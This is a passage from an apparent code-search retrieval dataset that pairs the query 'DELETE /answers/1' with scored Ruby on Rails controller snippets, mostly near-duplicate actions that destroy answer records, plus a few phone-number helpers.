"text": "def create\n\t\tapi_response = FaxNumber.provision(provision_number_params[:area_code])\n\t\tif api_response.phone_number\n\t\t\tFaxNumber.create!(fax_number: api_response.phone_number, has_webhook_url: false, org_switched_at: Time.now)\n\t\t\tflash[:notice] = \"Fax number provisioned successfully. Your new number is #{FaxNumber.format_pretty_fax_number(api_response.phone_number)}.\"\n\n\t\t\t# Adds fax number to the organization immediately \n\t\t\tif provision_number_params[:organization_id]\n\t\t\t\tnumber = FaxNumber.find_by(fax_number: api_response.phone_number)\n\t\t\t\tnumber.update_attributes(organization_id: provision_number_params[:organization_id])\n\t\t\t\tredirect_to organization_path(provision_number_params[:organization_id])\n\t\t\telse\n\t\t\t\tredirect_to fax_numbers_path\n\t\t\tend\n\t\telse\n\t\t\tflash[:alert] = \"Something went wrong\"\n\t\t\trender :new\n\t\tend\n\tend",
"title": ""
},
{
"docid": "31733d9c3ed844615131622f77f3c975",
"score": "0.5707083",
"text": "def set_telephone\n @telephone = @profile.telephones.find(params[:id])\n end",
"title": ""
},
{
"docid": "212a1a9476bd5cffa33b7538db168689",
"score": "0.57063735",
"text": "def check_phone_no_format\n is_valid = Spree::Address.is_phone_valid?(@phone)\n render text: is_valid\n end",
"title": ""
},
{
"docid": "19089acd535d322334f7f35f59999d9d",
"score": "0.57059854",
"text": "def purchase!(opts={})\n Twilio::IncomingPhoneNumber.create opts.update :phone_number => phone_number\n end",
"title": ""
},
{
"docid": "edcaf1956c57b5eb893bf339152d6060",
"score": "0.57054645",
"text": "def phone_number(nr)\n country_code = AppConfig['contact_info.default_country_code'].to_s\n Phone.parse(nr, :country_code => country_code).format(:europe)\n rescue\n return nr\n end",
"title": ""
},
{
"docid": "95ae2f57a0529adac29116b37aeea0ea",
"score": "0.5702068",
"text": "def start\n response = Authy::PhoneVerification.start(\n via: 'sms',\n country_code: 1,\n phone_number: params[:phone]\n )\n render json: response\n end",
"title": ""
},
{
"docid": "8e5faf11932a9d5af1205804d56159bc",
"score": "0.56990105",
"text": "def active_scaffold_input_telephone(column, options)\n active_scaffold_text_input :telephone_field, column, options, :format\n end",
"title": ""
},
{
"docid": "81ea2e30fac9c51abe28679322f0c3e1",
"score": "0.5686074",
"text": "def phone\n if @data.attribute_names.include?(:cmupreferredtelephone)\n @phone ||= @data[:cmupreferredtelephone].last.gsub(/[^0-9]/,'')\n else\n @phone ||= nil\n end\n end",
"title": ""
},
{
"docid": "c031e2d3da44e300943b2fcaf7494902",
"score": "0.5684722",
"text": "def set_user_phone_number\n @user_phone_number = UserPhoneNumber.find(params[:id])\n end",
"title": ""
}
] |
22d3f9fadd68440b18567ede48141918
|
DELETE /answers/1 DELETE /answers/1.json
|
[
{
"docid": "97dd48f1924aeb207ea21235a3f82b70",
"score": "0.72359025",
"text": "def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.js\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "7e424e988ff941c50c2f6b1e3363193e",
"score": "0.7804042",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e424e988ff941c50c2f6b1e3363193e",
"score": "0.7804042",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e424e988ff941c50c2f6b1e3363193e",
"score": "0.7804042",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e424e988ff941c50c2f6b1e3363193e",
"score": "0.7804042",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7e424e988ff941c50c2f6b1e3363193e",
"score": "0.7804042",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8732abdd28ba38547ecad9784e4dfc50",
"score": "0.7788873",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "16836fb6730939d90031ceefe4035224",
"score": "0.7779011",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "16836fb6730939d90031ceefe4035224",
"score": "0.7779011",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "16836fb6730939d90031ceefe4035224",
"score": "0.7779011",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "431a12a085e7a2a924bc50359e512947",
"score": "0.77663493",
"text": "def destroy\n @api_v1_answer.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fca2075f12a5dbbab4a08b18657cff19",
"score": "0.77582467",
"text": "def destroy\n #@answer = Answer.find(params[:id])\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url(@question) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d6690c5b026186da6250458af5cd5e6c",
"score": "0.7720922",
"text": "def destroy\n @question.answers.find_by(id: params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f95977dccfb41c2e31e5a46b8fd41bb2",
"score": "0.76944613",
"text": "def destroy\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url(@answer.question) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f28e3e1c39ea6fc1c16886b39305e579",
"score": "0.764306",
"text": "def destroy\n @survey_answer = SurveyAnswer.find(params[:id])\n @survey_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e6fd8d5ad8db9d2ddd248be631fd8982",
"score": "0.7640776",
"text": "def destroy\n if @question\n @answer = @question.answers.find(params[:id])\n end\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url(@answer.question) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d59772ab69f020cb06c50475edbf33e",
"score": "0.76281995",
"text": "def destroy\n @@question.num_answers -= 1\n @@question.save\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e43c679bd99ec957c327b9952d3669d7",
"score": "0.762051",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "15d502b5978a25eb2a84030080a55952",
"score": "0.76156425",
"text": "def destroy\n @post_answer.destroy\n respond_to do |format|\n format.html { redirect_to post_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d21f25130c3b958e32182ff0cb6b4cb3",
"score": "0.76110107",
"text": "def destroy\n @test_answer = TestAnswer.find(params[:id])\n @test_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to test_answers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1b87f455892983e01eaedd64f34edc77",
"score": "0.7598402",
"text": "def destroy\n render json: answer.destroy!, status: :ok\n end",
"title": ""
},
{
"docid": "25182e9adb665d15cc1c512e234c69c6",
"score": "0.75676286",
"text": "def destroy\n @question_answer = QuestionAnswer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9b488712014efe7af26ae0a0c6520d45",
"score": "0.7548941",
"text": "def destroy\n @exam_answer = @user.exam_answers.find(params[:id])\n @exam_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to exam_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9a860e0e549b554f540c0899332b2236",
"score": "0.7538975",
"text": "def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "49c7342b952c600b11087e176ae6573d",
"score": "0.7519824",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cfaeeec966d4068de76ef77ea3d0946b",
"score": "0.7518734",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, alert: I18n.t('activerecord.models.answer') + I18n.t('helpers_locale.models.deleted') }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6643bc44bfe3efaeed7ea114068f849d",
"score": "0.75173277",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6643bc44bfe3efaeed7ea114068f849d",
"score": "0.75173277",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "69af967611c3314afeca9f88a245df90",
"score": "0.7514131",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7397a8de49314bd5e5166aa4f3163d98",
"score": "0.75114065",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: \"Answer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7397a8de49314bd5e5166aa4f3163d98",
"score": "0.75114065",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: \"Answer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6e3dd6161022fff107fa77d286adafe6",
"score": "0.7503671",
"text": "def destroy\n @survey_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_questions_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5c10e3cbcab29094f0963d6be104b821",
"score": "0.75009054",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5c10e3cbcab29094f0963d6be104b821",
"score": "0.75009054",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5c10e3cbcab29094f0963d6be104b821",
"score": "0.75009054",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5c10e3cbcab29094f0963d6be104b821",
"score": "0.75009054",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "29c610c52c258c17b3a433a7f7c7d592",
"score": "0.7499624",
"text": "def destroy\n @question.answers.each do |ans|\n ans.destroy\n end\n @question.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "41c5dff77e6c32ad40e499aa86222877",
"score": "0.747214",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "41c5dff77e6c32ad40e499aa86222877",
"score": "0.747214",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d05d1d94fd3773b98a339067986b3a6c",
"score": "0.74709177",
"text": "def destroy\n @answer_set = AnswerSet.find(params[:id])\n @answer_set.destroy\n\n respond_to do |format|\n format.html { redirect_to answer_sets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "074e845c6f6e6751a73bbc863d2282b0",
"score": "0.74594885",
"text": "def destroy\n @example_answer.destroy\n respond_to do |format|\n format.html { redirect_to example_answers_url, notice: 'Example answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6fa28f1708e80ec729134007f06c89ef",
"score": "0.7457933",
"text": "def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to [@category, @question] }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a7effec0ce4012b7144cb59c7fdd2671",
"score": "0.7455426",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @answer.question, notice: 'La respuesta fue eliminada correctamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "01ed20852fcb86a645cb053f4fef8bc0",
"score": "0.7454786",
"text": "def delete\n if @answer.destroy\n return render json: {message: 'Answer was removed succesfully.'}\n else\n return render json: {message: 'Error :Something went wrong. Answer was not removed.'}\n end\n end",
"title": ""
},
{
"docid": "e1292dcaa8a8e8521c2e093180dd6b0e",
"score": "0.745093",
"text": "def destroy\n @answer = @question.answers.find(params[:id])\n authorize! :destroy, @answer\n @answer.destroy\n \n head :no_content\n end",
"title": ""
},
{
"docid": "81da513c591d389a6dd69169170a4550",
"score": "0.7430823",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c172b53ffe7631c4f4b7ce17c41e51a0",
"score": "0.7430651",
"text": "def delete\n respond_to do |format|\n format.json {\n # get question & answer id\n question_id = extract_int params, :question_id\n answer_id = extract_int params, :answer_id\n\n # if bad request\n if answer_id.nil?\n render :json => reply(false, t(:missing_params))\n else\n answer = Answer.where(id: answer_id, question_id: question_id).first\n\n # no such record?\n if answer.nil?\n render :json => reply(false, t(:no_such_answer))\n else\n # if there is a record, delete it\n answer.destroy\n # if deletion successful\n if answer.destroyed?\n Log.log(\"User with admin privileges #{current_user.username} (UID = #{current_user.id}) deleted answer '#{answer.id}' by author with UID = #{answer.author.id}\", request.remote_ip)\n render :json => reply(true, t(:answer_deletion_successful))\n # if deletion failed\n else\n render :json => reply(false, t(:answer_deletion_failed) )\n end\n end\n end\n }\n format.html {\n render :status => :method_not_allowed, :nothing => true\n return\n }\n end\n end",
"title": ""
},
{
"docid": "1ff758146518a2c6d691477a8b65607c",
"score": "0.74098766",
"text": "def destroy\n @test_answer.destroy\n respond_to do |format|\n format.html { redirect_to test_answers_url, notice: 'Test answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f933d001db13939b55895eb9bd5aafcd",
"score": "0.74013305",
"text": "def destroy\n @answers_set.destroy\n respond_to do |format|\n format.html { redirect_to answers_sets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc369f337ff5cfca6d216ca990a9899e",
"score": "0.7398326",
"text": "def destroy\n @answer = @question.answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url(@question) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "88223c4dc640bf180a2c728a2e3a7a2f",
"score": "0.7393566",
"text": "def destroy\n @has_answers_set.destroy\n respond_to do |format|\n format.html { redirect_to has_answers_sets_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "31eea83ddbd49e33fb96d2386e041df6",
"score": "0.73927754",
"text": "def destroy\n @survey_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_answers_url, notice: 'Survey answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e1b654f6cff9409c6743639c348043d0",
"score": "0.7376833",
"text": "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: (I18n.t :act_delete) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "06970347ad499d4d511a30a484c1c8eb",
"score": "0.7366083",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @test, success: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6cd349537fe86c03eed8dbc393fb65fb",
"score": "0.73626924",
"text": "def destroy\n @user_answer = UserAnswer.find(params[:id])\n @user_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e030cbcfdf71c561a228839806401f6e",
"score": "0.73609334",
"text": "def destroy\n render json: question.destroy!, status: :ok\n end",
"title": ""
},
{
"docid": "ae4064586d68fae368ca7b8cbffa3f91",
"score": "0.73473644",
"text": "def destroy\n @answers.destroy\n\n @question.destroy\n # respond_to do |format|\n # format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"title": ""
},
{
"docid": "939ac3d252f33f35f8b2a6094163f6d2",
"score": "0.7313714",
"text": "def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bfa8298c3fa4393d7a8e9da62a1ec818",
"score": "0.73131555",
"text": "def destroy\n @testimonial_answer.destroy\n respond_to do |format|\n format.html { redirect_to testimonial_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b795c9423261bdf4826ebc542b8723aa",
"score": "0.73129916",
"text": "def destroy\n @tester_answer = current_user.tester_answers.find(params[:id])\n @tester_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to tester_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d4143f3c9dba950a06cb6ca0280f2d03",
"score": "0.7311661",
"text": "def deleteAnswer(answer_id)\n\n\turi = URI(@USER_ANSWER_URL)\n\n\thttps = Net::HTTP.new(uri.host, uri.port)\n\thttps.use_ssl = true\n\n\theader = {\n\t\t'X-Parse-Application-Id' => @PARSE_APP_ID,\n \t\t'X-Parse-REST-API-Key' => @PARSE_REST_KEY\n\t}\n\n\trequest = Net::HTTP::Delete.new(uri.path << \"/\" << answer_id, header)\n\n\tresponse = https.request(request)\n\n\tresponse_data = JSON.parse(response.body)\n\tresponse_data[\"results\"]\nend",
"title": ""
},
{
"docid": "f1388f7b794b57882c9c89fa7f6a9cc8",
"score": "0.730783",
"text": "def destroy\n @multiple_choice_answer = MultipleChoiceAnswer.find(params[:id])\n @multiple_choice_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to multiple_choice_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee32f5f1ed3378310298c846c8a922b0",
"score": "0.7306443",
"text": "def delete_answer\n Survey.find(params[:id]).destroy\n\n redirect_to '/admin/surveys'\n end",
"title": ""
},
{
"docid": "6a91798a83a12f92e7b8ef7100d50b72",
"score": "0.7295976",
"text": "def destroy\n @answer_item = AnswerItem.find(params[:id])\n @answer_item.destroy\n\n respond_to do |format|\n format.html { redirect_to answer_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dd0acc7e7ea07d68d136020535f731d0",
"score": "0.7293455",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "79d9e1c08fee4e3ec76b533511c9e83b",
"score": "0.7284757",
"text": "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "36c3ef000e19c772e296e724b0ab3af3",
"score": "0.7277528",
"text": "def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "002f0e620d952c742bb3ab0e5bccc559",
"score": "0.72630113",
"text": "def destroy\n @v1_question = V1::Question.find(params[:id])\n @v1_question.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "dc8526ba857447476a954d143bce6580",
"score": "0.72577316",
"text": "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dc8526ba857447476a954d143bce6580",
"score": "0.72577316",
"text": "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f16c41d4f22d205c7631b614b3e8c557",
"score": "0.7252211",
"text": "def destroy\n @correct_answer.destroy\n respond_to do |format|\n format.html { redirect_to correct_answers_url, notice: 'Correct answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3b2aadf5edf571b225ba548edc46e829",
"score": "0.7249384",
"text": "def destroy\n @correct_answer.destroy\n respond_to do |format|\n format.html { redirect_to correct_answers_url, notice: \"Correct answer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a409ef0a8637c5c29ae331c8f0b66e4f",
"score": "0.7248727",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "81a5d3398c3e256db85ddbf453352101",
"score": "0.7245466",
"text": "def destroy\n @tarot_answer.destroy\n respond_to do |format|\n format.html { redirect_to tarot_answers_url, notice: 'Tarot answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "54634cfc27ec89ce8a032f2688ad5cd8",
"score": "0.72429985",
"text": "def destroy\n @question_answer = QuestionAnswer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "da338f4ae557492f598d4ab1836e1f3e",
"score": "0.7242358",
"text": "def destroy\n @answered_question_info = AnsweredQuestionInfo.find(params[:id])\n @answered_question_info.destroy\n\n respond_to do |format|\n format.html { redirect_to answered_question_infos_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6a9f940dc69a12a86439bf0d172655f4",
"score": "0.7232551",
"text": "def destroy\n @answer_type.destroy\n respond_to do |format|\n format.html { redirect_to answer_types_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0d81921bdc8d938bc90d5f0e894eff7a",
"score": "0.7226793",
"text": "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.js # destroy.js.erb\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dbfd0594b99056dfe5da9c2e59d1b377",
"score": "0.7212664",
"text": "def destroy\n @answer_type = AnswerType.find(params[:id])\n @answer_type.destroy\n\n respond_to do |format|\n format.html { redirect_to answer_types_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "888e803224a819e1f0d1bc22101cbb24",
"score": "0.7210815",
"text": "def destroy\n @askquestion.destroy\n respond_to do |format|\n format.html { redirect_to askquestions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "867910adb1d8a02ccf1d8c5b67a2daa2",
"score": "0.72065586",
"text": "def destroy\n @answer_vote.destroy\n\n respond_to do |format|\n format.html { render @answer, notice: 'answer vote was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e52c3fef08554163ae84321c5a65d258",
"score": "0.71907747",
"text": "def destroy\n @questionaire = Questionaire.find(params[:id])\n @questionaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionaires_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5759f1f60243b602c3cf9d2662af3b43",
"score": "0.71842456",
"text": "def destroy\n @answer_question.destroy\n respond_to do |format|\n format.html { redirect_to answer_questions_url, notice: 'Answer question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fbf04affeb974724fc8155ed17ee9f28",
"score": "0.71812296",
"text": "def destroy\n @answer = Letter.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2b895193d6e5a512aeb12ae35a580fa2",
"score": "0.71808016",
"text": "def destroy\n @answerchoice.destroy\n respond_to do |format|\n format.html { redirect_to answerchoices_url, notice: 'Answerchoice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ef2349fe769ab62e531f25dc4a3c2941",
"score": "0.71717966",
"text": "def destroy\n @eba_answer.destroy\n respond_to do |format|\n format.html { redirect_to eba_answers_url, notice: 'Eba answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a18056052536f89e269b598a671d1997",
"score": "0.7170377",
"text": "def destroy\n @subanswer.destroy\n respond_to do |format|\n format.html { redirect_to subanswers_url, notice: 'Subanswer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "527bb34b1310d12893735ef6b76a5952",
"score": "0.7159768",
"text": "def destroy\n question = Question.find(params[:question_id])\n question.destroy\n \n render json: {success: true}\n \n end",
"title": ""
}
] |
